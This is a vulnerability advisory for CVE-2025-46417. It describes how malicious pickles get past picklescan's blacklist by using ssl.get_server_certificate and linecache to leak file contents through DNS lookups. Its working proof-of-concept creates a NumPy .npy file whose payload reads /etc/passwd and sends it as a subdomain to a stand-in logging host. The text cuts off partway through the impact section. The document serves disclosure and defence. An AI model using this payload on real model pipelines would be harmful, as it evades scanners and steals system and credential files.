CVE-2025-46417

### Summary Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization. ### Details picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors. The payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content. The payload executes the following steps: - Reads sensitive local file content using `linecache` module - Encodes the data for DNS exfiltration - Constructs a malicious domain name using a third party service `dnslog.cn` - Triggers a DNS resolution via `ssl.get_server_certificate` - Leaks the encoded file content to the attacker ### PoC Before running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f"{subdomain}.ctmc2q.dnslog.cn"`. ```python import numpy as np def create_malicious_model(): # Define the payload class class DNSLogPayload: def __reduce__(self): # Step 1: read a line from /etc/passwd linecache = __import__("linecache") first_line = linecache.getline("/etc/passwd", 1).strip() # Step 2: Sanitize and embed it as a DNS subdomain subdomain = first_line.replace(":", "_").replace("/", "_") fqdn = f"{subdomain}.dns-logger.invalid" # Step 3: Use ssl.get_server_certificate to trigger DNS resolution ssl_mod = __import__("ssl") return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),)) # Wrap the payload in a NumPy object array arr = np.array([DNSLogPayload()], dtype=object) # Save to .npy file np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True) def load_model(model): try: return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1) except Exception: raise ValueError("Invalid file") if __name__ == "__main__": create_malicious_model() model = "dnslog_trigger_payload.npy" print("[i] Loading and executing the model") data = load_model(model) ``` ### Impact 1. Evade detection: Bypasses the latest version of picklescan's blacklist. 2. Exfiltrate sensitive local files to an attacker controlled DNS